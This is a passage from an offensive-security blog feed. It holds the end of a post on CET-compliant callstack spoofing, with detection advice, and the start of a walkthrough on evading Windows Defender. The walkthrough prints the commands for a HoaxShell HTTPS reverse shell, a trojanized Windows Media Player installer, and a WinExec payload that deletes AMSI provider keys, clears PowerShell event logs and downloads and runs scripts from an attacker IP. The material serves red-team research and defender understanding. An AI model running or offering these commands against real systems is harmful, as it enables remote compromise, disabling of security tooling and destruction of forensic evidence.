<p>Intel’s manual is clear about this if you read it carefully: <code class="language-text highlighter-rouge">INCSSPD</code> uses <code class="language-text highlighter-rouge">reg × 4</code> granularity, <code class="language-text highlighter-rouge">INCSSPQ</code> uses <code class="language-text highlighter-rouge">reg × 8</code>. On x64, always use <code class="language-text highlighter-rouge">INCSSPQ</code>. There’s no scenario where <code class="language-text highlighter-rouge">INCSSPD</code> is correct for manipulating 64-bit shadow stack entries. I should have caught this from the opcode encoding alone. I didn’t. Now you know.</p>

<hr />

<h2 id="9-about-this-poc">9. About This PoC</h2>

<h3 id="91-what-is-intentionally-simplified">9.1 What Is Intentionally Simplified</h3>

<p>The PoC is intentionally simplified to keep the focus on the spoofing technique and CET compliance. Several things are deliberately done in a non-stealth way:</p>

<table>
  <thead>
    <tr>
      <th>Aspect</th>
      <th>PoC approach</th>
      <th>Production approach</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Module resolution</strong></td>
      <td><code class="language-text highlighter-rouge">GetModuleHandleW</code> + <code class="language-text highlighter-rouge">GetProcAddress</code></td>
      <td>PEB walking, hash-based API resolution</td>
    </tr>
    <tr>
      <td><strong>SSN resolution</strong></td>
      <td>Hardcoded per-OS lookup table</td>
      <td>Dynamic via stub parsing (<a href="https://github.com/am0nsec/HellsGate">Hell’s Gate</a>, etc.)</td>
    </tr>
    <tr>
      <td><strong>Enum function</strong></td>
      <td>Single (<code class="language-text highlighter-rouge">EnumSystemLocalesEx</code>)</td>
      <td>Random from 39-function basket</td>
    </tr>
    <tr>
      <td><strong>Trampoline search</strong></td>
      <td>Scan target <code class="language-text highlighter-rouge">Zw</code> function only</td>
      <td>Scan any <code class="language-text highlighter-rouge">ntdll</code> function</td>
    </tr>
    <tr>
      <td><strong>Error handling</strong></td>
      <td>Minimal</td>
      <td>Robust</td>
    </tr>
    <tr>
      <td><strong>Strings</strong></td>
      <td>Plaintext in binary</td>
      <td>Encrypted / obfuscated</td>
    </tr>
  </tbody>
</table>

<h3 id="92-this-is-not-a-weapon">9.2 This Is NOT a Weapon</h3>

<p>Let me be very direct: this PoC would not survive a basic static analysis by any halfway decent EDR. It has plaintext API name strings in the binary. It uses <code class="language-text highlighter-rouge">GetModuleHandleW</code> and <code class="language-text highlighter-rouge">GetProcAddress</code> for function resolution, which are heavily monitored. There’s no string obfuscation, no anti-analysis, nothing.</p>

<p>This is intentional. The point is to demonstrate that CET-compliant callstack spoofing via enum callback trampolining is feasible, not to provide a ready-to-use, undetectable implant.</p>

<p>If you’re a blue teamer reading this, the PoC in its current form is trivially detectable. The value of this research is in understanding the technique so you can build defenses against more sophisticated implementations.</p>

<hr />

<h2 id="10-future-work">10. Future Work</h2>

<p>The most natural next step is expanding the pool of usable trampoline functions.</p>

<p>The requirements for a candidate function are:</p>

<ol>
  <li>It must accept a <strong>callback function pointer</strong> as one of its parameters</li>
  <li>It must <strong>call the callback at least once</strong> during normal execution</li>
  <li>It must <strong>stop when the callback returns 0</strong>, so that a successful <code class="language-text highlighter-rouge">syscall</code> (returning <code class="language-text highlighter-rouge">STATUS_SUCCESS</code> = 0) cleanly terminates it</li>
  <li>It must live in a <strong>module loaded by default</strong> (<code class="language-text highlighter-rouge">kernel32.dll</code>, <code class="language-text highlighter-rouge">kernelbase.dll</code>, <code class="language-text highlighter-rouge">ntdll.dll</code>), because loading other modules is detectable</li>
</ol>

<p>A systematic audit of all callback-accepting functions in these three DLLs would probably turn up more candidates beyond the 39 I found. The more functions in the basket, the harder it is for EDRs to build signatures based on which function appears on the stack.</p>

<hr />

<h2 id="11-detection-and-countermeasures">11. Detection and Countermeasures</h2>

<p>The technique produces a clean-looking stack, but it’s not invisible. This section is for the defensive side.</p>

<h3 id="111-teb-arbitraryuserpointer-monitoring">11.1 TEB ArbitraryUserPointer Monitoring</h3>

<p>The PoC writes to <code class="language-text highlighter-rouge">TEB+0x28</code>, so a hardware watchpoint or periodic sampling on that field would flag it, especially if the value looks like a pointer to stack memory shaped like the <code class="language-text highlighter-rouge">EmbeddedContext</code> layout. But this is signature-quality detection, not concept-quality. The technique only needs <em>some</em> per-thread channel to pass the context pointer from Phase 1 to Phase 2, and <code class="language-text highlighter-rouge">ArbitraryUserPointer</code> is just the most convenient one. A trivial rewrite could use a compiler-generated TLS variable, <code class="language-text highlighter-rouge">TlsAlloc</code>, a static in <code class="language-text highlighter-rouge">.data</code>, a heap allocation, or a known offset on the stack. Building a detector around <code class="language-text highlighter-rouge">TEB+0x28</code> catches this specific binary, not the class of technique it belongs to.</p>

<h3 id="112-shadow-stack-vs-normal-stack-divergence">11.2 Shadow Stack vs. Normal Stack Divergence</h3>

<p>On CET systems, between the <code class="language-text highlighter-rouge">jmp</code> and the eventual <code class="language-text highlighter-rouge">ret</code> in the trampoline, the two stacks are temporarily out of sync. A kernel-mode monitor that reads both during the <code class="language-text highlighter-rouge">syscall</code> trap could catch this.</p>

<h3 id="113-heuristic-call-stack-analysis">11.3 Heuristic Call Stack Analysis</h3>

<p><code class="language-text highlighter-rouge">NtProtectVirtualMemory</code> being called from inside <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code> is not normal. EDRs could whitelist “expected” <code class="language-text highlighter-rouge">syscall</code> call chains and flag deviations. Machine learning models trained on normal stacks could spot anomalies.</p>

<p>Conceptually this is the strongest countermeasure on the list. In practice it’s also the most expensive one to build correctly. At the moment of the <code class="language-text highlighter-rouge">syscall</code> trap, the kernel sees raw return addresses, not function names. Mapping <code class="language-text highlighter-rouge">ntdll+0x12345</code> back to <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code> requires either private Microsoft symbols (not shipped, only partially available on the public symbol server) or a fingerprint database precomputed for every OS build and every patch level of every DLL you care about. The latter is what serious vendors like Elastic actually do, and it works, but it’s a real engineering investment and it’s version-brittle: every Patch Tuesday can shift offsets and force the fingerprint DB to be regenerated. The cheaper <code class="language-text highlighter-rouge">module+offset</code> version loses the semantic layer and collapses back into statistical pattern matching.</p>

<h3 id="114-enum-callback-behavioral-analysis">11.4 Enum Callback Behavioral Analysis</h3>

<p>Callbacks that fire during thread pool work items (unusual for locale enumeration) or that coincide with sensitive syscalls could be flagged.</p>

<h3 id="115-thread-pool-work-item-profiling">11.5 Thread Pool Work Item Profiling</h3>

<p><code class="language-text highlighter-rouge">SubmitThreadpoolWork</code> immediately followed by <code class="language-text highlighter-rouge">WaitForThreadpoolWorkCallbacks</code> with very short execution times is unusual for legitimate async work.</p>

<h3 id="116-incsspq-instruction-monitoring">11.6 <code class="language-text highlighter-rouge">INCSSPQ</code> Instruction Monitoring</h3>

<p><code class="language-text highlighter-rouge">INCSSPQ</code> and <code class="language-text highlighter-rouge">INCSSPD</code> are rarely used in normal code. A module that emits them outside of exception dispatch or unwind fixup deserves a second look. There’s a big asymmetry, though, between catching these instructions on disk and catching them at runtime.</p>

<p><strong>Static / on-disk scanning is viable.</strong> The opcodes are fixed: <code class="language-text highlighter-rouge">F3 48 0F AE E9</code> for <code class="language-text highlighter-rouge">INCSSPQ rcx</code>, <code class="language-text highlighter-rouge">F3 48 0F 1E C8</code> for <code class="language-text highlighter-rouge">RDSSPQ rax</code>, with the usual register-encoding variants. Scanning <code class="language-text highlighter-rouge">.text</code> at file drop or at load time is cheap and works exactly the same way EDRs already flag <code class="language-text highlighter-rouge">0F 05</code> (<code class="language-text highlighter-rouge">syscall</code>) inside modules that shouldn’t contain it. Bypass is possible (opcode encryption, JIT emission, self-modifying code) but that’s real complexity the attacker has to pay for.</p>

<p><strong>Runtime detection is a different animal.</strong> <code class="language-text highlighter-rouge">INCSSPQ</code> is a usermode instruction. It doesn’t trap into the kernel, so there is no natural choke point where an EDR can hook it. Doing it properly at runtime means either Intel Processor Trace (produces enormous packet volumes, has to be decoded offline, not something you deploy fleet-wide) or single-stepping via the trap flag (unusable). There is no dedicated performance counter for “CET instruction retired” that I know of, and even if there were, PMU sampling is statistical, not comprehensive. The static path is where realistic detection lives today.</p>

<hr />

<h2 id="12-conclusion">12. Conclusion</h2>

<p>I presented a callstack spoofing technique that combines thread pool execution, enum callback trampolining, and indirect syscalls into a chain that produces a fully legitimate call stack at the moment of <code class="language-text highlighter-rouge">syscall</code> execution.</p>

<p>The main contribution is the CET compliance mechanism: shadow stack reconciliation via <code class="language-text highlighter-rouge">RDSSPQ</code>/<code class="language-text highlighter-rouge">INCSSPQ</code> combined with a <code class="language-text highlighter-rouge">jmp</code>-based context switch. This makes the technique work on CET-enabled hardware without touching unwind metadata.</p>

<p>The individual components are not new. I combined existing primitives, added CET compliance, and then spent a significant amount of time making sure nothing crashes (spoiler: it crashed a lot).</p>

<p>I hope this is useful to both offensive researchers dealing with CET and defensive teams building detection. If you build a detector for this, let me know. I’d genuinely like to see it.</p>

<p><strong>Source Code:</strong> <a href="https://github.com/MrTiz/CET-Enum-CallStack-Spoofer">https://github.com/MrTiz/CET-Enum-CallStack-Spoofer</a></p>

<hr />

<h2 id="13-prior-art-and-acknowledgments">13. Prior Art and Acknowledgments</h2>

<p>This work builds on research by people far more talented than me. I want to give proper credit:</p>

<table>
  <thead>
    <tr>
      <th>Project</th>
      <th>Author(s)</th>
      <th>Link</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>SilentMoonwalk</strong></td>
      <td>klezVirus (Alessandro Magnosi)</td>
      <td><a href="https://github.com/klezVirus/SilentMoonwalk">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>BYOUD</strong> (Bring Your Own Unwind Data)</td>
      <td>klezVirus</td>
      <td><a href="https://github.com/klezVirus/BYOUD">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>ThreadStackSpoofer</strong></td>
      <td>mgeeky (Mariusz Banach)</td>
      <td><a href="https://github.com/mgeeky/ThreadStackSpoofer">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>Unwinder</strong></td>
      <td>Kudaes</td>
      <td><a href="https://github.com/Kudaes/Unwinder">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>LoudSunRun</strong></td>
      <td>susMdT</td>
      <td><a href="https://github.com/susMdT/LoudSunRun">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>VulcanRaven</strong></td>
      <td>WithSecure Labs</td>
      <td><a href="https://github.com/WithSecureLabs/CallStackSpoofer">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>SysWhispers</strong></td>
      <td>@jthuraisamy</td>
      <td><a href="https://github.com/jthuraisamy/SysWhispers">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>SysWhispers2</strong></td>
      <td>@jthuraisamy</td>
      <td><a href="https://github.com/jthuraisamy/SysWhispers2">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>SysWhispers3</strong></td>
      <td>klezVirus</td>
      <td><a href="https://github.com/klezVirus/SysWhispers3">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>Hell’s Gate</strong></td>
      <td>am0nsec, smelly__vx</td>
      <td><a href="https://github.com/am0nsec/HellsGate">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>Halo’s Gate</strong></td>
      <td>Sektor7</td>
      <td><a href="https://blog.sektor7.net/#!res/2021/halosgate.md">Blog</a></td>
    </tr>
    <tr>
      <td><strong>Tartarus’ Gate</strong></td>
      <td>trickster0</td>
      <td><a href="https://github.com/trickster0/TartarusGate">GitHub</a></td>
    </tr>
    <tr>
      <td><strong>Indirect Syscalls</strong></td>
      <td>@modexpblog (MDSec)</td>
      <td><a href="https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/">Blog</a></td>
    </tr>
  </tbody>
</table>

<p>Research by Elastic Security Labs (<a href="https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks">call stack detection blog</a>), Yarden Shafir &amp; Alex Ionescu (<a href="https://windows-internals.com/cet-on-windows/">CET internals</a>), Bill Demirkapi (<a href="https://billdemirkapi.me/abusing-exceptions-for-code-execution-part-2/">CET exploitation</a>), taintedbits.com (<a href="https://taintedbits.com/">shadow stack mechanics</a>), and Synacktiv (<a href="https://www.synacktiv.com/publications">CET bypasses</a>) was also very helpful for understanding the hardware constraints.</p>

<hr />

<h2 id="14-references">14. References</h2>

<ol>
  <li>Intel 64 and IA-32 Architectures Software Developer’s Manual, Volume 1, Chapter 18: <em>Control-flow Enforcement Technology (CET)</em>.</li>
  <li>Microsoft Documentation: <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlvirtualunwind">RtlVirtualUnwind</a>.</li>
  <li>Microsoft Documentation: <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-enumsystemlocalesex">EnumSystemLocalesEx</a>.</li>
  <li>Microsoft Documentation: <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/thread-pool-api">Thread Pool API</a>.</li>
  <li>Microsoft Documentation: <a href="https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention">x64 calling convention</a>.</li>
  <li>Microsoft PE/COFF Specification: Exception Handling Tables (<code class="language-text highlighter-rouge">.pdata</code>, <code class="language-text highlighter-rouge">.xdata</code>).</li>
  <li>Elastic Security Labs: <a href="https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks">Peeling back the curtain with call stacks</a> (2023).</li>
  <li><code class="language-text highlighter-rouge">windows-sys</code> Rust crate: <a href="https://crates.io/crates/windows-sys">crates.io</a>.</li>
</ol>]]></content><author><name>Tiziano Marra</name></author><category term="malware-dev" /><category term="red-teaming" /><category term="evasion" /><category term="edr-evasion" /><category term="cet" /><category term="intel-cet" /><category term="shadow-stack" /><category term="hardware-mitigations" /><category term="callstack-spoofing" /><category term="stack-spoofing" /><category term="indirect-syscalls" /><category term="direct-syscalls" /><category term="thread-pool" /><category term="thread-pool-api" /><category term="enum-callback" /><category term="trampolining" /><category term="windows-internals" /><category term="winapi" /><category term="x64-assembly" /><category term="rtlvirtualunwind" /><category term="rust" /><category term="rustsec" /><category term="infosec" /><category term="offensive-security" /><summary type="html"><![CDATA[A CET-compliant callstack spoofing technique that uses Windows thread-pool enum callbacks as syscall trampolines, defeating EDR stack telemetry without breaking Intel shadow-stack invariants.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mrtiz.github.io/assets/og/cet-callstack-spoofing-thread-pool-trampoline.png" /><media:content medium="image" url="https://mrtiz.github.io/assets/og/cet-callstack-spoofing-thread-pool-trampoline.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Bypassing Windows Defender on Windows 11 using Shellter and HoaxShell</title><link href="https://mrtiz.github.io/defender-evasion-shellter-hoaxshell" rel="alternate" type="text/html" title="Bypassing Windows Defender on Windows 11 using Shellter and HoaxShell" /><published>2025-06-23T00:00:00+02:00</published><updated>2025-06-23T00:00:00+02:00</updated><id>https://mrtiz.github.io/defender-evasion-shellter-hoaxshell</id><content type="html" xml:base="https://mrtiz.github.io/defender-evasion-shellter-hoaxshell"><![CDATA[<h2 id="table-of-contents">Table of Contents</h2>
<ul>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#windows-defender-overview">Windows Defender Overview</a></li>
  <li><a href="#disclaimer">Disclaimer</a></li>
  <li><a href="#requirements">Requirements</a>
    <ul>
      <li><a href="#tools-used">Tools used</a></li>
      <li><a href="#windows-defender-hardening">Windows Defender hardening</a></li>
    </ul>
  </li>
  <li><a href="#exploitation">Exploitation</a>
    <ul>
      <li><a href="#https-multi-stage-reverse-shell-with-hoaxshell">HTTPS multi-stage reverse shell with HoaxShell</a></li>
      <li><a href="#trojanizing-a-legitimate-microsoft-executable">Trojanizing a legitimate Microsoft executable</a></li>
      <li><a href="#trojan-execution">Trojan execution</a></li>
      <li><a href="#testing-the-effectiveness-of-amsi-bypass">Testing the effectiveness of AMSI bypass</a></li>
    </ul>
  </li>
  <li><a href="#post-exploitation">Post-exploitation</a>
    <ul>
      <li><a href="#privilege-escalation">Privilege escalation</a></li>
    </ul>
  </li>
</ul>

<h2 id="introduction">Introduction</h2>
<p>In this write-up, I document a successful attempt to bypass a fully hardened Windows Defender installation on an up-to-date Windows 11 machine, utilizing a combination of <strong>Shellter</strong> and <strong>HoaxShell</strong>. The payload, a multi-stage HTTPS reverse shell, was stealthily injected into a legitimate Microsoft executable, successfully evading real-time detection.</p>

<p>The attack chain relied exclusively on <strong>userland techniques</strong> and <strong>LOLBins (Living Off The Land Binaries)</strong>, ensuring no additional tools were written to disk. After achieving initial access, I focused on bypassing <strong>AMSI</strong> and <strong>User Account Control (UAC)</strong> to escalate privileges and execute arbitrary code in a high-integrity context.</p>

<p>This post details each stage of the operation, including:</p>

<ul>
  <li>HoaxShell setup and staging chain</li>
  <li>Payload generation and Shellter configuration</li>
  <li>Defender evasion strategy on hardened systems</li>
  <li>UAC bypass via trusted processes</li>
  <li>Disabling AMSI without in-memory patching</li>
</ul>

<p>Despite the effectiveness of this attack, it is important to note that no zero-day vulnerabilities were exploited. This is not the result of a novel exploit or obscure offensive research. On the contrary, the techniques demonstrated here rely entirely on freely available, open-source tools such as <strong>Shellter</strong> and <strong>HoaxShell</strong>, combined with simple registry modifications and <strong>LOLBin</strong> abuse. Every element in the attack chain is already known, documented, and theoretically detectable. The true impact of this approach lies not in the use of novel exploits but in the artful orchestration of timing, tool selection, and disciplined execution to achieve stealthy evasion. In essence, effective red team operations may not require futuristic techniques, just the right blend of established methods applied with precision.</p>

<h2 id="windows-defender-overview">Windows Defender Overview</h2>
<p>Over the past decade, Windows Defender has evolved from a basic antivirus tool into a comprehensive, cloud-integrated antimalware and endpoint protection platform. Once considered insufficient for serious threat defense, Windows Defender now consistently ranks among the top performers in independent evaluations by AV-TEST and AV-Comparatives (<a href="https://www.av-test.org/en/antivirus/home-windows/manufacturer/microsoft/">av-test.org</a>). The consumer version, integrated into Windows 10 and 11, leverages real-time protection, behavioral analysis, and cloud-delivered intelligence to detect and block threats with impressive speed and accuracy. According to <a href="https://learn.microsoft.com/en-us/defender-endpoint/microsoft-defender-antivirus-updates">Microsoft’s documentation</a>, Defender receives monthly platform updates and daily security intelligence updates, incorporating AI-enhanced detection logic and telemetry from billions of devices. Features such as tamper protection, ransomware rollback, and integration with Microsoft’s broader security ecosystem (including Defender SmartScreen and Microsoft Defender for Endpoint) have made it a serious contender in enterprise environments. In summary, what was once a barebones antivirus has become a robust, modern antimalware solution, included with every Windows machine.</p>

<h2 id="disclaimer">Disclaimer</h2>
<p>The techniques and methodologies described in this document are provided solely for educational, research, and defensive purposes. All demonstrations were conducted in isolated and controlled laboratory environments, with explicit authorization and under stringent security measures.</p>

<p><strong>Important Notice</strong>:</p>
<ul>
  <li><strong>Legal Compliance</strong>: The information contained within this write-up is not intended to encourage, support, or promote any illegal or unauthorized activities. Unauthorized use of these techniques on systems or networks without explicit permission is strictly prohibited and may lead to severe legal consequences under applicable national and international laws.</li>
  <li><strong>Ethical Usage</strong>: This document is intended for ethical security research, penetration testing, and improving defensive strategies against cybersecurity threats. It should only be applied in scenarios where full and explicit consent has been obtained from the owner of the target system.</li>
  <li><strong>Limitation of Liability</strong>: The author, publisher, and associated entities assume no responsibility or liability for any misuse, damages, or adverse consequences resulting from the application of the information provided in this write-up. Users are solely responsible for ensuring that any actions taken are fully compliant with all relevant legal and regulatory frameworks.</li>
  <li><strong>Safety Recommendations</strong>: Always perform tests in a controlled, isolated environment and ensure comprehensive backup and recovery strategies are in place. Prioritize the safety and integrity of all systems and data when applying security research techniques.</li>
</ul>

<p>By continuing to use the information presented here, you acknowledge that you have read, understood, and agree to abide by these terms.</p>

<h2 id="requirements">Requirements</h2>
<ul>
  <li>Windows 11; in this test, a Windows 11 Education (build 10.0.26100.4351) was used, the latest build available when this document was written.</li>
  <li>Windows Defender fully hardened and fully updated; for simplicity, <a href="https://github.com/AndyFul/ConfigureDefender">ConfigureDefender</a> was used in this test to speed up Windows Defender hardening.</li>
  <li>Kali Linux (optional, of course).</li>
</ul>

<h3 id="tools-used">Tools used</h3>
<ul>
  <li><a href="https://github.com/AndyFul/ConfigureDefender">ConfigureDefender</a></li>
  <li><a href="https://www.shellterproject.com">Shellter</a> free version, available in Kali repositories: <a href="https://www.kali.org/tools/shellter/">https://www.kali.org/tools/shellter/</a></li>
  <li><a href="https://github.com/t3l3machus/hoaxshell">HoaxShell</a></li>
  <li><a href="https://www.virustotal.com">VirusTotal</a></li>
  <li><a href="https://github.com/raskolnikov90/LainAmsiOpenSession/blob/main/lainamsiopensession.ps1">lainamsiopensession</a></li>
  <li><a href="https://github.com/danielbohannon/Invoke-Obfuscation">Invoke-Obfuscation</a></li>
</ul>

<h3 id="windows-defender-hardening">Windows Defender hardening</h3>
<p>As mentioned earlier, the <a href="https://github.com/AndyFul/ConfigureDefender">ConfigureDefender</a> tool was used to speed up and simplify the enabling of almost all Windows Defender features, thus enabling the “MAX” profile:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/ConfigureDefender1.png" alt="ConfigureDefender 4.0.1.1 window with the MAX protection profile and basic Defender settings all set to ON" loading="lazy" decoding="async" width="577" height="577" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/ConfigureDefender2.png" alt="ConfigureDefender showing SmartScreen and Exploit Guard ASR rules for productivity apps and scripts all set to ON" loading="lazy" decoding="async" width="577" height="577" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/ConfigureDefender3.png" alt="ConfigureDefender with email and other ASR rules enabled; the 'Block executable files unless prevalent/aged/trusted' rule set to Audit" loading="lazy" decoding="async" width="577" height="577" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/ConfigureDefender4.png" alt="ConfigureDefender bottom section with Network Protection and Controlled Folder Access enabled" loading="lazy" decoding="async" width="577" height="577" /></p>

<p>The <code class="language-text highlighter-rouge">Block executable files from running unless they meet a prevalence, age, or trusted list criteria</code> is the only setting modified, in this test, in the “MAX” profile. Otherwise, Windows Defender will prevent me from running any new binaries, regardless of whether they may be malicious or not. This setting is too paranoid.</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/WindowsDefender1.png" alt="Windows Security 'Security at a glance' dashboard with all protection cards reporting healthy status" loading="lazy" decoding="async" width="820" height="760" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/WindowsDefender2.png" alt="Windows Security Protection updates screen showing security intelligence version 1.431.158.0, up to date" loading="lazy" decoding="async" width="654" height="516" /></p>

<h2 id="exploitation">Exploitation</h2>
<h3 id="https-multi-stage-reverse-shell-with-hoaxshell">HTTPS multi-stage reverse shell with HoaxShell</h3>
<p>First, I created self-signed certificates for HoaxShell to use for its HTTPS reverse shell:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>openssl req <span class="nt">-x509</span> <span class="nt">-newkey</span> rsa:2048 <span class="nt">-keyout</span> /home/MrTiz/DefenderBypass/certs/key.pem <span class="nt">-out</span> /home/MrTiz/DefenderBypass/certs/cert.pem <span class="nt">-days</span> 365
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/self-signed_certs.png" alt="OpenSSL req -x509 command generating a self-signed certificate using Microsoft Corporation as the organization and 192.168.182.128 as the common name" loading="lazy" decoding="async" width="993" height="498" />
In generating the certificate, the same parameters were used as in the certificate issued for <a href="https://www.microsoft.com">microsoft.com</a>, but it is optional; I only did it because it may increase the stealthiness of the attack.</p>

<p>After that, I started HoaxShell listening on port 443:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>hoaxshell <span class="nt">-s</span> 192.168.182.128 <span class="nt">-c</span> /home/MrTiz/DefenderBypass/certs/cert.pem <span class="nt">-k</span> /home/MrTiz/DefenderBypass/certs/key.pem <span class="nt">-H</span> <span class="s1">'ms-commit-id'</span> <span class="nt">-r</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/hoaxshell1.png" alt="HoaxShell banner and generated PowerShell HTTPS reverse-shell payload copied to clipboard, with the server listening on port 443" loading="lazy" decoding="async" width="1009" height="548" /></p>

<p>Again, the choice to use <code class="language-text highlighter-rouge">ms-commit-id</code> as a header in HTTPS traffic is only to slightly increase the stealthiness of the attack, but again, this is an optional parameter. In any case, I find in the HoaxShell documentation that avoiding using the random headers used by default by HoaxShell can make life a little more difficult for AVs:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>- Recommended usage to avoid detection (over http):

     # Hoaxshell utilizes an http header to transfer shell session info. By default, the header is given a random name which can be detected by regex-based AV rules.
     # Use -H to provide a standard or custom http header name to avoid detection.
     hoaxshell -s &lt;your_ip&gt; -i -H "Authorization"
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The use of a raw PowerShell payload also demonstrated much greater stealthiness than encoded PowerShell payloads.</p>

<p>I saved the PowerShell payload in a <code class="language-text highlighter-rouge">.ps1</code> file and put a simple Python web server listening, ready to deliver the script in a second stage. This way, I avoided embedding a HoaxShell payload inside my executable that I’m going to trojanize. By doing this, I should be able to pass the static analysis of most anti-malware.</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/python_webserver1.png" alt="Kali terminal showing the HoaxShell revs.ps1 payload contents and a Python HTTP server started on port 80 to deliver it" loading="lazy" decoding="async" width="1009" height="376" /></p>

<h3 id="trojanizing-a-legitimate-microsoft-executable">Trojanizing a legitimate Microsoft executable</h3>
<p>As an executable to be trojanized, something trusted, legitimate, having a recognized author (preferably Microsoft), and having a 32-bit architecture had to be chosen; the current free version of Shellter does not seem to support 64-bit executables.
After testing a few, it was decided to use the <strong>Windows Media Player</strong> installer, generally available on Windows 11 machines at the path <code class="language-text highlighter-rouge">C:\Program Files (x86)\Windows Media Player\setup_wm.exe</code>.</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/orig-setup_wm.png" alt="PowerShell Get-FileHash output for the original Windows Media Player setup_wm.exe (SHA256 BD56CDF7...)" loading="lazy" decoding="async" width="1339" height="210" /></p>

<p>Once copied to the Kali machine, I started and configured Shellter:</p>

<p><img src="/assets/img/defender-evasion-shellter-hoaxshell/shellter1.png" alt="Shellter v7.2 startup on Kali showing setup_wm.exe loaded as the PE target and PE compatibility information" loading="lazy" decoding="async" width="1009" height="899" />
<img src="/assets/img/defender-evasion-shellter-hoaxshell/shellter2.png" alt="Shellter payload selection with Stealth Mode disabled and the WinExec payload (#7) set to launch the custom multi-stage PowerShell command" loading="lazy" decoding="async" width="1009" height="899" /></p>

<p>Paradoxically, enabling <strong>Stealth Mode</strong> makes the trojan much more detectable by static analysis on VirusTotal, which is why I chosed to disable it, thus going to change the general behavior of the executable, which will then stop doing what it was intended to do.</p>

<p><strong>WinExec</strong> was chosen as the payload, through which I’m going to execute some of my PowerShell code that will then trigger the actual reverse shell. Embedding a Meterpreter reverse shell or, more generally, a custom one created with <code class="language-text highlighter-rouge">msfvenom</code> is a risk; generally speaking, it has a higher probability of being detected by both static and especially dynamic analyses. <a href="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Meterpreter">Trojan:Win32/Meterpreter</a></p>

<p>The <strong>WinExec</strong> payload chosen is the following:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">/wait</span><span class="w"> </span><span class="nx">/min</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="nx">C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-nop</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">hidden</span><span class="w"> </span><span class="nt">-noni</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers*\*' -Force -ea SilentlyContinue; Clear-EventLog -LogName 'Windows PowerShell' -ea SilentlyContinue"</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">/min</span><span class="w"> </span><span class="s2">""</span><span class="w"> </span><span class="nx">C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe</span><span class="w"> </span><span class="nt">-ep</span><span class="w"> </span><span class="nx">bypass</span><span class="w"> </span><span class="nt">-nop</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">hidden</span><span class="w"> </span><span class="nt">-noni</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="s2">"iex(New-Object Net.WebClient).DownloadString('http://192.168.182.128/4m51.ps1'); Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers*\*' -Force -ea SilentlyContinue; Start-Sleep -Seconds 30; iex(New-Object Net.WebClient).DownloadString('http://192.168.182.128/revs.ps1'); Clear-EventLog -LogName 'Windows PowerShell' -ea SilentlyContinue"</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
